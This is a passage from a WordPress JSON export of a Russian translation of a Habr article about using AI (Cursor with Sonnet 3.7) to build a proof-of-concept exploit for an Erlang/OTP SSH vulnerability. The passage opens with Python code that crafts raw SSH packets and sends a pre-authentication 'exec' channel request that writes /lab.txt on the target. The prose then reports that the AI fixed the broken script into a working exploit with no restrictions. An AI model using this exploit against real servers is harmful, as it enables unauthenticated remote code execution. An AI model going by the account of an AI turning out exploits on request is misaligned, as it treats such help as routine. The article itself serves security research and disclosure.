b\"\"     )  def build_channel_request(channel_id=0, command=\"file:write_file(\\\"\/lab.txt\\\", &lt;&lt;\\\"pwned\\\"&gt;&gt;).\"):     payload = (         b\"\\x62\" +         struct.pack(\"&gt;I\", channel_id) +         string_payload(\"exec\") +         b\"\\x01\" +         string_payload(command)     )     return payload  def build_kexinit():     cookie = b\"\\x00\" * 16     def name_list(l): return string_payload(\",\".join(l))     return (         b\"\\x14\" + cookie +         name_list([\"diffie-hellman-group14-sha1\"]) +         name_list([\"ssh-rsa\"]) +         name_list([\"aes128-ctr\"]) * 2 +         name_list([\"hmac-sha1\"]) * 2 +         name_list([\"none\"]) * 2 +         name_list([]) * 2 +         b\"\\x00\" + struct.pack(\"&gt;I\", 0)     )  # Step-by-step protocol with socket.create_connection((HOST, PORT)) as s:     print(\"[*] Connecting to SSH server...\")      s.sendall(b\"SSH-2.0-OpenSSH_8.9\\r\\n\")     banner = s.recv(1024)     print(f\"[+] Received banner: {banner.strip().decode(errors='ignore')}\")      print(\"[*] Sending KEXINIT...\")     kex_packet = build_kexinit()     kex_len = struct.pack(\"&gt;I\", len(kex_packet) + 1)     kex = kex_len + b\"\\x0a\" + kex_packet + b\"\\x00\" * 6     s.sendall(kex)      print(\"[*] Sending channel_open...\")     chan_open = build_channel_open()     chan_len = struct.pack(\"&gt;I\", len(chan_open) + 1)     s.sendall(chan_len + b\"\\x0a\" + chan_open + b\"\\x00\" * 6)      print(\"[*] Sending channel_request with exec payload...\")     chan_req = build_channel_request(command='file:write_file(\"\/lab.txt\", &lt;&lt;\"pwned\"&gt;&gt;).')     req_len = struct.pack(\"&gt;I\", len(chan_req) + 1)     s.sendall(req_len + b\"\\x0a\" + chan_req + b\"\\x00\" * 6)      print(\"[\u2713] Exploit sent. If target was vulnerable, it attempted to write \/lab.txt.\")<\/code><\/pre>\n<h3>\u041e\u0442\u043b\u0430\u0434\u043a\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Cursor<\/h3>\n<p>\u041d\u0438\u0447\u0435\u0433\u043e \u0443\u0434\u0438\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e: \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u043b.<\/p>\n<p>\u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u0441\u043c\u0435\u043d\u0438\u043b \u0442\u0430\u043a\u0442\u0438\u043a\u0443. \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043a\u043e\u0434 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0441\u044f \u0432\u0441\u0435 \u0431\u043e\u043b\u0435\u0435 \u0442\u044f\u0436\u0435\u043b\u044b\u043c, \u044f \u043e\u0442\u043a\u0440\u044b\u043b Cursor, \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u043b \u043a\u043e\u0434, \u043e\u0442\u043a\u0440\u044b\u043b \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b \u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u0441\u043f\u0440\u043e\u0441\u0438\u043b:<\/p>\n<p>\u00ab\u0418\u0441\u043f\u0440\u0430\u0432\u044c \u043a\u043e\u0434 PoC?\u00bb<\/p>\n<figure class=\"\"><\/figure>\n<p>\u041d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439. \u041d\u0438\u043a\u0430\u043a\u0438\u0445 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439. \u041f\u0440\u043e\u0441\u0442\u043e \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430, \u0441\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u0438 \u043e\u0431\u043d\u0430\u0434\u0435\u0436\u0438\u0432\u0430\u044e\u0449\u0430\u044f \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0430.<\/p>\n<p>\u041a \u043c\u043e\u0435\u043c\u0443 \u0443\u0434\u0438\u0432\u043b\u0435\u043d\u0438\u044e, \u044d\u0442\u043e \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e!<\/p>\n<p>GPT (\u0447\u0435\u0440\u0435\u0437 Cursor \u0438 Sonnet 3.7) \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b, \u0438\u0437\u043c\u0435\u043d\u0438\u043b \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0438 \u0432\u0441\u0435 \u0437\u0430\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e.<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u042f \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e, \u0438 \u043e\u043d\u0430 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0430 \/lab.txt \u043d\u0430 \u043c\u043e\u0435\u0439 \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u0427\u0438\u0441\u0442\u044b\u0439, \u0440\u0430\u0431\u043e\u0447\u0438\u0439, \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0418\u0418 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f CVE, \u0443 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043d\u0430 \u0442\u043e\u0442 \u043c\u043e\u043c\u0435\u043d\u0442 \u043d\u0435 \u0431\u044b\u043b\u043e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e PoC.<\/p>\n<h3>\u0417\u0430\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043c\u044b\u0441\u043b\u0438<\/h3>\n<p>\u0412\u043e\u0442 \u0438 \u0432\u0441\u0451. \u041e\u0442 \u0442\u0432\u0438\u0442\u0430 \u2192 \u0434\u043e \u043a\u043e\u043f\u0430\u043d\u0438\u044f \u0432 diffs \u2192 \u0434\u043e \u043f\u043e\u043b\u043d\u043e\u0433\u043e PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u2014 \u0432\u0441\u0435 \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u043a\u043e\u0434\u0430, \u0441 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0431\u044b \u043d\u0430\u0447\u0430\u0442\u044c. \u0418 \u0431\u043e\u043b\u044c\u0448\u0443\u044e \u0447\u0430\u0441\u0442\u044c \u044d\u0442\u043e\u0433\u043e \u0441\u0434\u0435\u043b\u0430\u043b \u0418\u0418.<\/p>\n<p>\u0416\u0435\u0441\u0442\u044c!<\/p>\n<p>\u042d\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0431\u044b\u0441\u0442\u0440\u043e \u0418\u0418 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043c\u043e\u0447\u044c \u0432 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u2014 \u0438\u043b\u0438 \u0434\u0430\u0436\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0446\u0435\u043b\u044b\u0435 \u0435\u0433\u043e \u0447\u0430\u0441\u0442\u0438. \u041c\u044b \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c, \u043a\u0430\u043a \u043d\u0430\u0441\u0442\u0443\u043f\u0430\u0435\u0442 \u043d\u043e\u0432\u0430\u044f \u044d\u0440\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.<\/p>\n<p>\u0422\u043e, \u0447\u0442\u043e \u043d\u0430\u0447\u0430\u043b\u043e\u0441\u044c \u043a\u0430\u043a \u043b\u044e\u0431\u043e\u043f\u044b\u0442\u0441\u0442\u0432\u043e \u043f\u043e \u043f\u043e\u0432\u043e\u0434\u0443 \u0442\u0432\u0438\u0442\u0430, \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b\u043e\u0441\u044c \u0432 \u0433\u043b\u0443\u0431\u043e\u043a\u043e\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0418\u0418 \u043c\u0435\u043d\u044f\u0435\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434 \u044d\u0442\u043e\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b \u0431\u044b \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u043d\u0430\u043d\u0438\u0439 Erlang \u0438 \u0447\u0430\u0441\u043e\u0432 \u0440\u0443\u0447\u043d\u043e\u0439 \u043e\u0442\u043b\u0430\u0434\u043a\u0438. \u0421\u0435\u0433\u043e\u0434\u043d\u044f \u044d\u0442\u043e \u0437\u0430\u043d\u044f\u043b\u043e \u043f\u043e\u043b \u0434\u043d\u044f \u0441 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0430\u043c\u0438.<\/p>\n<p>\u042d\u0442\u043e \u0445\u043e\u0440\u043e\u0448\u043e \u0438\u043b\u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0431\u0435\u0441\u043f\u043e\u043a\u043e\u0439\u0441\u0442\u0432\u043e? \u0412\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0438 \u0442\u043e, \u0438 \u0434\u0440\u0443\u0433\u043e\u0435. \u042d\u0442\u043e \u0434\u0435\u043c\u043e\u043a\u0440\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043d\u0438\u0436\u0430\u044f \u0431\u0430\u0440\u044c\u0435\u0440 \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432. \u041d\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438 \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u043d\u044b\u0435 \u043c\u0435\u0442\u043e\u0434\u044b \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432\u0430\u0436\u043d\u044b \u043a\u0430\u043a \u043d\u0438\u043a\u043e\u0433\u0434\u0430.<\/p>\n<p>\u041e\u0433\u0440\u043e\u043c\u043d\u043e\u0435 \u0441\u043f\u0430\u0441\u0438\u0431\u043e\u00a0<a href=\"https:\/\/www.horizon3.ai\/\" rel=\"noopener noreferrer nofollow\">Horizon3<\/a>\u00a0\u0438 \u0424\u0430\u0431\u0438\u0430\u043d\u0443 \u0411\u043e\u0439\u043c\u0435\u0440\u0443 \u0437\u0430 \u0438\u0445 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u0418\u0445 \u0440\u0430\u0431\u043e\u0442\u0430 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0434\u0435\u043b\u0430\u0442\u044c \u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0441\u0438\u043b\u044c\u043d\u0435\u0435.<\/p>\n<hr\/>\n<p>\u042f \u0440\u0435\u0448\u0438\u043b \u043f\u0435\u0440\u0435\u0432\u0435\u0441\u0442\u0438 \u044d\u0442\u0443 \u0441\u0442\u0430\u0442\u044c\u044e \u0434\u043b\u044f \u0432\u0430\u0441, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0443\u0432\u0435\u0440\u0435\u043d \u0432 \u0435\u0451 \u043a\u043e\u043d\u0446\u0435\u043f\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u0432\u0430\u0436\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0432\u0441\u0435\u0439 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u042d\u0442\u0430 \u0441\u0442\u0430\u0442\u044c\u044f &#8212; \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u043a\u0435\u0439\u0441 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043d\u0443\u0436\u043d\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c, \u0447\u0442\u043e\u0431\u044b \u0431\u044b\u0441\u0442\u0440\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043a \u0441\u0430\u043c\u044b\u043c \u0441\u0432\u0435\u0436\u0438\u043c CVE, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0418\u0418 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442 \u043a\u0440\u0443\u0433 \u043b\u044e\u0434\u0435\u0439, \u043a\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0435 \u0434\u0435\u043b\u0430\u0442\u044c \u0432 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0435.<\/p>\n<p>\u042f \u0434\u0443\u043c\u0430\u044e \u0442\u0430\u043a, \u0447\u0442\u043e \u0435\u0441\u043b\u0438 \u043a \u043b\u0435\u0442\u0443 2025 \u0443 \u0432\u0430\u0441 \u043d\u0435\u0442 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043e \u043f\u043e\u0438\u0441\u043a\u0443 \u043f\u0430\u0442\u0447\u0435\u0439, \u0438\u0445 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438, \u0442\u043e \u0432\u0430\u0448\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0431\u0435\u0437\u043d\u0430\u0434\u0451\u0436\u043d\u043e \u0443\u0441\u0442\u0430\u0440\u0435\u043b\u0430. \u041a\u0430\u043a \u0436\u0435 \u0431\u044b\u0441\u0442\u0440\u043e \u0432\u0441\u0451 \u0440\u0430\u0437\u0432\u0438\u0432\u0430\u0435\u0442\u0441\u044f&#8230;<\/p>\n<p>\u0415\u0441\u043b\u0438 \u0432\u0430\u043c \u043f\u043e\u043d\u0440\u0430\u0432\u0438\u043b\u0430\u0441\u044c \u0441\u0442\u0430\u0442\u044c\u044f, \u043f\u043e\u0441\u0442\u0430\u0432\u044c\u0442\u0435 \u043c\u043d\u0435 &#171;\u0425\u0410\u0411\u0420-\u043b\u0430\u0439\u043a&#187; \u0438 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0435 \u0432 \u043c\u043e\u0439 <a href=\"https:\/\/t.me\/+wfPSVKybeMEzZGE6\" rel=\"noopener noreferrer nofollow\">\u0422\u0435\u043b\u0435\u0433\u0440\u0430\u043c<\/a>!<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/905552\/\"> https:\/\/habr.com\/ru\/articles\/905552\/<\/a><br \/><\/br><\/br><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-458126","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/458126","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=458126"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/458126\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=458126"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=458126"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=458126"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}